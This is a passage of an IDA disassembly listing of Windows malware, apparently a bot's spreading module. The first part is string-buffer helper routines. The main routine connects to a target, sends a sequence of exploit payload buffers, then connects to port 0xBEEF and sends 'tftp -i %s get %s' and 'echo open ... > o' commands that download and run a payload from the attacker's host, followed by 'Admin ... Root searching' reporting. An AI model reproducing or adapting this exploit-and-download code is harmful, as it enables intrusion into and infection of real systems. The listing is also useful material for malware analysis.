		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40270A
		test	al, al
		jz	short loc_4025DD
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_40B630
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4025DD:				; CODE XREF: sub_40258B+1Bj
					; sub_40258B+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40258B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025E5	proc near		; CODE XREF: sub_40215E+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_4025FC
		call	sub_4160E0


loc_4025FC:				; CODE XREF: sub_4025E5+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_402635
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40270A
		test	al, al
		jz	short loc_402635
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_40B210
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_402635:				; CODE XREF: sub_4025E5+1Bj
					; sub_4025E5+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_4025E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40263D	proc near		; CODE XREF: sub_40215E+179p
					; sub_41613A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_402655
		call	sub_41630C


loc_402655:				; CODE XREF: sub_40263D+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_402667
		mov	esi, [ebp+arg_8]


loc_402667:				; CODE XREF: sub_40263D+25j
		cmp	edi, ebx
		jnz	short loc_402685
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_4027FD
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4027FD
		jmp	short loc_402701
; ---------------------------------------------------------------------------


loc_402685:				; CODE XREF: sub_40263D+2Cj
		test	esi, esi
		jbe	short loc_4026C8
		cmp	esi, eax
		jnz	short loc_4026C8
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402699
		mov	eax, offset dword_417218


loc_402699:				; CODE XREF: sub_40263D+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4026C8
		push	1
		mov	ecx, edi
		call	sub_402790
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4026B4
		mov	eax, offset dword_417218


loc_4026B4:				; CODE XREF: sub_40263D+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_402701
; ---------------------------------------------------------------------------


loc_4026C8:				; CODE XREF: sub_40263D+4Aj
					; sub_40263D+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40270A
		test	al, al
		jz	short loc_402701
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_4026E5
		mov	eax, offset dword_417218


loc_4026E5:				; CODE XREF: sub_40263D+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_40B210
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_402701:				; CODE XREF: sub_40263D+46j
					; sub_40263D+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40263D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40270A	proc near		; CODE XREF: sub_40215E+3Dp
					; sub_40258B+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40271C
		call	sub_4160E0


loc_40271C:				; CODE XREF: sub_40270A+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_402744
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_402744
		cmp	cl, 0FFh
		jz	short loc_402744
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_402783
		dec	byte ptr [eax-1]
		push	edx


loc_40273B:				; CODE XREF: sub_40270A+48j
		call	sub_402790


loc_402740:				; CODE XREF: sub_40270A+4Cj
					; sub_40270A+53j
		xor	al, al
		jmp	short loc_40278B
; ---------------------------------------------------------------------------


loc_402744:				; CODE XREF: sub_40270A+19j
					; sub_40270A+20j ...
		cmp	edi, edx
		jnz	short loc_40275F
		cmp	[esp+8+arg_4], dl
		jz	short loc_402754
		push	1
		mov	ecx, esi
		jmp	short loc_40273B
; ---------------------------------------------------------------------------


loc_402754:				; CODE XREF: sub_40270A+42j
		cmp	eax, edx
		jz	short loc_402740
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_402740
; ---------------------------------------------------------------------------


loc_40275F:				; CODE XREF: sub_40270A+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40277C
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_402771
		cmp	eax, edi
		jnb	short loc_402789


loc_402771:				; CODE XREF: sub_40270A+61j
		push	1
		mov	ecx, esi
		call	sub_402790
		jmp	short loc_402781
; ---------------------------------------------------------------------------


loc_40277C:				; CODE XREF: sub_40270A+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_402789


loc_402781:				; CODE XREF: sub_40270A+70j
		mov	ecx, esi


loc_402783:				; CODE XREF: sub_40270A+2Bj
		push	edi
		call	sub_402864


loc_402789:				; CODE XREF: sub_40270A+65j
					; sub_40270A+75j
		mov	al, 1


loc_40278B:				; CODE XREF: sub_40270A+38j
		pop	edi
		pop	esi
		retn	8
sub_40270A	endp


; =============== S U B	R O U T	I N E =======================================



sub_402790	proc near		; CODE XREF: sub_40215E+1Fp
					; sub_40215E+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4027B8
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4027B8
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4027B1
		cmp	cl, 0FFh
		jz	short loc_4027B1
		dec	byte ptr [eax]
		jmp	short loc_4027B8
; ---------------------------------------------------------------------------


loc_4027B1:				; CODE XREF: sub_402790+16j
					; sub_402790+1Bj
		push	eax
		call	sub_40BE38
		pop	ecx


loc_4027B8:				; CODE XREF: sub_402790+8j
					; sub_402790+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_402790	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027C8	proc near		; CODE XREF: sub_4023B8+136p
					; sub_402921+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40270A
		test	al, al
		jz	short loc_4027F6
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_40B210
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4027F6:				; CODE XREF: sub_4027C8+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4027C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027FD	proc near		; CODE XREF: sub_40263D+35p
					; sub_40263D+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_402810
		call	sub_41630C


loc_402810:				; CODE XREF: sub_4027FD+Cj
		mov	ecx, edi
		call	sub_402921
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_402826
		mov	ebx, eax


loc_402826:				; CODE XREF: sub_4027FD+25j
		test	ebx, ebx
		jbe	short loc_40285C
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40BE50
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40270A
		test	al, al
		jz	short loc_40285C
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40285C:				; CODE XREF: sub_4027FD+2Bj
					; sub_4027FD+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4027FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_402864	proc near		; CODE XREF: sub_40270A+7Ap
		mov	eax, offset loc_4165C0
		call	sub_40BDC8
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40288A
		mov	edi, [ebp+8]


loc_40288A:				; CODE XREF: sub_402864+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_402897
		xor	eax, eax


loc_402897:				; CODE XREF: sub_402864+2Fj
		push	eax
		call	sub_40C185
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4028C8
; ---------------------------------------------------------------------------


loc_4028A3:				; DATA XREF: .nsp0:00417EC4o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_4028B2
		xor	eax, eax


loc_4028B2:				; CODE XREF: sub_402864+4Aj
		push	eax
		call	sub_40C185
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_4028C2
		retn
; ---------------------------------------------------------------------------


loc_4028C2:				; DATA XREF: sub_402864+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4028C8:				; CODE XREF: sub_402864+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4028E6
		cmp	eax, edi
		jbe	short loc_4028D5
		mov	eax, edi


loc_4028D5:				; CODE XREF: sub_402864+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40B210
		add	esp, 0Ch


loc_4028E6:				; CODE XREF: sub_402864+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_402790
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_402906
		mov	edi, ebx


loc_402906:				; CODE XREF: sub_402864+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402864	endp


; =============== S U B	R O U T	I N E =======================================



sub_402921	proc near		; CODE XREF: sub_4027FD+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40294E
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40294E
		cmp	al, 0FFh
		jz	short loc_40294E
		push	1
		call	sub_402790
		push	esi
		call	sub_40B5B0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4027C8


loc_40294E:				; CODE XREF: sub_402921+9j
					; sub_402921+10j ...
		pop	edi
		pop	esi
		retn
sub_402921	endp


; =============== S U B	R O U T	I N E =======================================



sub_402951	proc near		; DATA XREF: .nsp0:00419004o
		test	byte_47FC04, 1
		jnz	short loc_402961
		or	byte_47FC04, 1


loc_402961:				; CODE XREF: sub_402951+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_40C200
		pop	ecx
		retn
sub_402951	endp


; =============== S U B	R O U T	I N E =======================================



sub_402972	proc near		; CODE XREF: .nsp0:00402FA2p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_40B690
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	dword_4171A8	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	dword_417190	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	dword_417194	; htons
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_417198	; connect
		test	eax, eax
		jge	short loc_4029D3


loc_4029CC:				; CODE XREF: sub_402972+275j
		xor	eax, eax
		jmp	loc_402DFE
; ---------------------------------------------------------------------------


loc_4029D3:				; CODE XREF: sub_402972+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	dword_41719C	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_403CA3
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_402BEC
		cmp	eax, 1
		jz	loc_402BEC
		mov	ebx, dword_4171AC
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, dword_4171A0
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_419A00
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_419A60
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_419B18
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_419C10
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_419C50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_419CB8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_419D50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_419EB0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A010
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_41A170
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	loc_402DC7
		push	0
		push	15Bh
		push	offset dword_419D50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_419EB0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A010
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_41A170
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch


loc_402BB3:				; CODE XREF: sub_402972+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	loc_402DC7
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_402DC8
		call	dword_4171A4	; closesocket
		jmp	loc_4029CC
; ---------------------------------------------------------------------------


loc_402BEC:				; CODE XREF: sub_402972+95j
					; sub_402972+9Ej
		mov	ebx, dword_4171AC
		push	edi
		push	48h
		push	offset unk_41A1E0
		push	esi
		call	ebx	; send
		mov	ebp, dword_4171A0
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_41A230
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_41A290
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_41A348
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_41A440
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_41A4A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_41A4E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_41A550
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A5E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A748
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A8A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41AA08
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_41AB68
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_402DC7
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402DC7
		push	0
		push	15Bh
		push	offset dword_41A5E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A748
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41A8A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_41AA08
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_41AB68
		push	esi
		call	ebx	; send
		jmp	loc_402BB3
; ---------------------------------------------------------------------------


loc_402DC7:				; CODE XREF: sub_402972+1C4j
					; sub_402972+1CDj ...
		push	esi


loc_402DC8:				; CODE XREF: sub_402972+269j
		call	dword_4171A4	; closesocket
		push	7D0h
		call	dword_417040	; Sleep
		sub	esp, 0BCh
		lea	esi, [esp+268h+arg_136F8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402E09
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax


loc_402DFE:				; CODE XREF: sub_402972+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_402972	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E09	proc near		; CODE XREF: sub_402972+47Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42B410	; inet_addr
		push	0BEEFh
		mov	[ebp+var_C], eax
		call	dword_42B3D4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42B450	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402F41
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_42B380	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402F41
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42B3EC	; recv
		mov	esi, offset byte_41C1A0
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_405752
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 18h
		push	esi
		push	esi
		push	dword_42B2B4
		push	[ebp+arg_0]
		call	sub_405752
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_42B420	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402F41
		push	1F4h
		call	dword_417040	; Sleep
		push	esi
		push	offset dword_41AC38
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_42B420	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402F45


loc_402F41:				; CODE XREF: sub_402E09+4Fj
					; sub_402E09+65j ...
		xor	eax, eax
		jmp	short loc_402F64
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402E09+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_42B3EC	; recv
		push	ebx
		call	dword_42B468	; closesocket
		xor	eax, eax
		inc	eax


loc_402F64:				; CODE XREF: sub_402E09+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402E09	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	dword ptr [ebp+0A8h], 8Bh
		push	edi
		jz	short loc_402F92
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	loc_403017


loc_402F92:				; CODE XREF: .nsp0:00402F80j
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402972
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_403017
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset word_41904A
		push	eax
		push	offset aAdminS__RootSe ; "Admin	(%s) ..  Root	searching %s"
		lea	eax, [ebp-200h]
		push	200h
		push	eax
		call	sub_40BDE7
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_404555
		lea	eax, [ebp-200h]
		push	eax
		call	sub_403145
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		lea	eax, dword_419070[eax]
		inc	dword ptr [eax]


loc_403017:				; CODE XREF: .nsp0:00402F8Cj
					; .nsp0:00402FB1j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40301D	proc near		; CODE XREF: sub_403E11+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_40B54F
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_417220
		call	sub_40B8FC
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40301D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40304D	proc near		; CODE XREF: sub_406BAB+23F3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_42C1E0
		mov	edi, 0B8h


loc_403061:				; CODE XREF: sub_40304D+33j
		cmp	byte ptr [esi],	0
		jz	short loc_403084
		push	[ebp+arg_0]
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403084
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_42CD60
		jl	short loc_403061
		jmp	short loc_4030C6
; ---------------------------------------------------------------------------


loc_403084:				; CODE XREF: sub_40304D+17j
					; sub_40304D+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_42C1E0[esi]
		push	ebx
		call	sub_40B630
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_40B110
		push	9Fh
		lea	eax, dword_42C1F8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B110
		add	esp, 24h
		inc	dword_41C418
		pop	ebx


loc_4030C6:				; CODE XREF: sub_40304D+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40304D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030CD	proc near		; CODE XREF: sub_406BAB+305Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
